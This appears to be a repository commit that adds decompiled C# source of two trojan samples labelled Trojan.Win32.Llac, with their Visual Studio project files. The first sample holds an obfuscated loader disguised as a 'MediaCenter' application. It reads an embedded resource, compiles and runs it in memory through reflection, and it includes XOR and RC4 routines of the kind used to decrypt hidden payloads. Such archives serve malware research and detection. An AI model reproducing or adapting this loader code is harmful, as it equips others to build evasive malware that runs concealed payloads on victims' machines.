auto-decompiled msil via petikvx

add

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.cs

@@ -0,0 +1,210 @@
+// Decompiled with JetBrains decompiler
+// Type: IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9606FA2A-F02F-46D3-BFDE-BA7924614AB7
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+[StandardModule]
+internal sealed class IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ
+{
+  private static bool UXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokwNcxluSNqsZty = false;
+
+  [STAThread]
+  public static void Main()
+  {
+    if (IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.UXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokwNcxluSNqsZty)
+    {
+      int num = (int) Interaction.MsgBox((object) "BNesBCLidHJpvPXNsnomrcjqHhhwnphHjOMtiDtkxJrqeeGOaD");
+    }
+    string IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQName = "vyqPeXIprMotHRmznZBXWxfwimNnys";
+    IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.vVgaspNiHzvHYmIvGdYBDjEJRHmvvuzWdkPcbruxpOdWGoqLns(IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.CYwokwNcxluSNqsZtyHwckljoMTaFRRgkneETMvdgBdhvrboOO().Replace("\"__PATH__\"", "\"" + Assembly.GetExecutingAssembly().Location + "\""), IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQName);
+  }
+
+  public static string CYwokwNcxluSNqsZtyHwckljoMTaFRRgkneETMvdgBdhvrboOO()
+  {
+    Assembly executingAssembly = Assembly.GetExecutingAssembly();
+    string manifestResourceName = executingAssembly.GetManifestResourceNames()[0];
+    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
+    return manifestResourceStream == null ? "" : new StreamReader(manifestResourceStream).ReadToEnd();
+  }
+
+  private static CompilerResults ZxNGpXauXbpzViVIjGEgOfRVvVgaspNiHzvHYmIvGdYBDjEJRH(
+    CompilerParameters mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX,
+    string oDLMWtoSTzHZhXDxywCntBRsrIxBrRtZXFtOEuJTCCooQYlNhM)
+  {
+    CompilerResults compilerResults;
+    try
+    {
+      VBCodeProvider vbCodeProvider = new VBCodeProvider();
+      mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.GenerateExecutable = false;
+      mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.ReferencedAssemblies.Add("System.dll");
+      mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.ReferencedAssemblies.Add("System.Windows.Forms.dll");
+      mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.ReferencedAssemblies.Add("System.Data.dll");
+      mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
+      compilerResults = vbCodeProvider.CompileAssemblyFromSource(mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX, oDLMWtoSTzHZhXDxywCntBRsrIxBrRtZXFtOEuJTCCooQYlNhM);
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.UXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokwNcxluSNqsZty)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+    return compilerResults;
+  }
+
+  private static void vVgaspNiHzvHYmIvGdYBDjEJRHmvvuzWdkPcbruxpOdWGoqLns(
+    string IYceWvYDniXriZmxgfTFgDPdLcOTsgeYqnKgFKHSVkGHQaVyOh,
+    string IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQName)
+  {
+    CompilerParameters mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX = new CompilerParameters();
+    mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.GenerateInMemory = true;
+    mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.IncludeDebugInformation = false;
+    mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX.TreatWarningsAsErrors = false;
+    try
+    {
+      IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.DcrkUCEZCGUQyNmmNWiLeKhzZzLFXHdNXdZlDRZajHCfhOUnvl((object) IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.ZxNGpXauXbpzViVIjGEgOfRVvVgaspNiHzvHYmIvGdYBDjEJRH(mvvuzWdkPcbruxpOdWGoqLnsGDlyYYzIVwQvUlMlwqJsPyKQMX, IYceWvYDniXriZmxgfTFgDPdLcOTsgeYqnKgFKHSVkGHQaVyOh).CompiledAssembly.GetType(IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQName));
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.UXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokwNcxluSNqsZty)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+  }
+
+  private static void DcrkUCEZCGUQyNmmNWiLeKhzZzLFXHdNXdZlDRZajHCfhOUnvl(
+    object kpEOiwjWwTSubsfjJjuoHEawVNJVlBWKTqlPRxSXfUBJKINkry)
+  {
+    BindingFlags bindingFlags1 = BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod;
+    object Instance = kpEOiwjWwTSubsfjJjuoHEawVNJVlBWKTqlPRxSXfUBJKINkry;
+    object[] objArray = new object[5]
+    {
+      (object) "LIezZRNYpFaOXupTVCVbjYENOMRouC",
+      (object) bindingFlags1,
+      (object) null,
+      (object) null,
+      (object) null
+    };
+    object[] Arguments = objArray;
+    bool[] flagArray = new bool[5]
+    {
+      false,
+      true,
+      false,
+      false,
+      false
+    };
+    bool[] CopyBack = flagArray;
+    NewLateBinding.LateCall(Instance, (Type) null, "InvokeMember", Arguments, (string[]) null, (Type[]) null, CopyBack, true);
+    if (!flagArray[1])
+      return;
+    BindingFlags bindingFlags2 = (BindingFlags) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (BindingFlags));
+  }
+
+  public class LUVTYJDKnBzQUXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokw
+  {
+    public static string bTElnIkpEOiwjWwTSubsfjTtFyROlHfXUfwLgUdCwZbIchpfLU(
+      string DataIn,
+      string CodeKey)
+    {
+      long num = (long) Strings.Len(DataIn);
+      long Start = 1;
+      string str;
+      while (Start <= num)
+      {
+        string Expression = Conversion.Hex(Strings.Asc(Strings.Mid(DataIn, checked ((int) Start), 1)) ^ Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (Start % (long) Strings.Len(CodeKey)) + 1L)), 1)));
+        if (Strings.Len(Expression) == 1)
+          Expression = "0" + Expression;
+        str += Expression;
+        checked { ++Start; }
+      }
+      return str;
+    }
+
+    public static string NcxluSNqsZtyHwckljoMTaFRRgkneETMvdgBdhvrboOOoxKmGl(
+      string DataIn,
+      string CodeKey)
+    {
+      long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
+      long num2 = 1;
+      string str;
+      while (num2 <= num1)
+      {
+        int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
+        int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
+        str += Conversions.ToString(Strings.Chr(num3 ^ num4));
+        checked { ++num2; }
+      }
+      return str;
+    }
+
+    public static byte[] bTElnIkpEOiwjWwTSubsfjTtFyROlHfXUfwLgUdCwZbIchpfLU(
+      byte[] Input,
+      string Key)
+    {
+      return IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.LUVTYJDKnBzQUXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokw.Proper_RC4(Input, Encoding.Default.GetBytes(Key));
+    }
+
+    public static byte[] NcxluSNqsZtyHwckljoMTaFRRgkneETMvdgBdhvrboOOoxKmGl(
+      byte[] Input,
+      string Key)
+    {
+      return IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.LUVTYJDKnBzQUXOnDufNPkNRfpKYLxYutWDVHLkLWQifCYwokw.bTElnIkpEOiwjWwTSubsfjTtFyROlHfXUfwLgUdCwZbIchpfLU(Input, Key);
+    }
+
+    public static byte[] Proper_RC4(byte[] Input, byte[] Key)
+    {
+      uint[] numArray1 = new uint[256];
+      byte[] numArray2 = new byte[checked (Input.Length - 1 + 1)];
+      uint index1 = 0;
+      do
+      {
+        numArray1[checked ((int) index1)] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (uint) byte.MaxValue);
+      uint index2 = 0;
+      do
+      {
+        uint index3 = checked ((uint) ((long) (index3 + (uint) Key[(int) unchecked ((long) index2 % (long) Key.Length)] + numArray1[(int) index2]) & (long) byte.MaxValue));
+        uint num = numArray1[checked ((int) index2)];
+        numArray1[checked ((int) index2)] = numArray1[checked ((int) index3)];
+        numArray1[checked ((int) index3)] = num;
+        checked { ++index2; }
+      }
+      while (index2 <= (uint) byte.MaxValue);
+      uint index4 = 0;
+      uint index5 = 0;
+      int num1 = checked (numArray2.Length - 1);
+      int index6 = 0;
+      while (index6 <= num1)
+      {
+        index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
+        index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
+        uint num2 = numArray1[checked ((int) index4)];
+        numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
+        numArray1[checked ((int) index5)] = num2;
+        numArray2[index6] = checked ((byte) ((int) Input[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
+        checked { ++index6; }
+      }
+      return numArray2;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/MyApplication.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyApplication
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9606FA2A-F02F-46D3-BFDE-BA7924614AB7
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+
+namespace My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : ApplicationBase
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyComputer
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9606FA2A-F02F-46D3-BFDE-BA7924614AB7
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/MyProject.cs

@@ -0,0 +1,108 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyProject
+// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9606FA2A-F02F-46D3-BFDE-BA7924614AB7
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/Trojan.Win32.Llac.aacw.csproj

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{1861DB00-82DD-485F-8905-5C800BCDEE18}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>MediaCenter</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>My</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="IHuhIeqFmEquUIGzSPlIgmitwMhisCwapJdvqfLUVTYJDKnBzQ.cs" />
+    <Compile Include="MyApplication.cs" />
+    <Compile Include="MyComputer.cs" />
+    <Compile Include="MyProject.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="jyDGxWleOvyTvzOYtHtgIecFmEptTt" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e/Trojan.Win32.Llac.aacw.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MediaCenter", "Trojan.Win32.Llac.aacw-3c63882d1ca9dd6051c6236c3fd9e399b052b3b7c53a5a45527222968696881e.csproj", "{1861DB00-82DD-485F-8905-5C800BCDEE18}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1861DB00-82DD-485F-8905-5C800BCDEE18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{1861DB00-82DD-485F-8905-5C800BCDEE18}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{1861DB00-82DD-485F-8905-5C800BCDEE18}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{1861DB00-82DD-485F-8905-5C800BCDEE18}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/MyApplication.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyApplication
+// Assembly: Humanities Brochure, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 52299A9A-4AA4-4108-B5D3-F7828126CA81
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+
+namespace My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : ApplicationBase
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyComputer
+// Assembly: Humanities Brochure, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 52299A9A-4AA4-4108-B5D3-F7828126CA81
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/MyProject.cs

@@ -0,0 +1,108 @@
+// Decompiled with JetBrains decompiler
+// Type: My.MyProject
+// Assembly: Humanities Brochure, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 52299A9A-4AA4-4108-B5D3-F7828126CA81
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/Trojan.Win32.Llac.aagm.csproj

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{B770F296-36DD-40D1-9CEA-B5419CD6C487}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Humanities Brochure</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>My</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
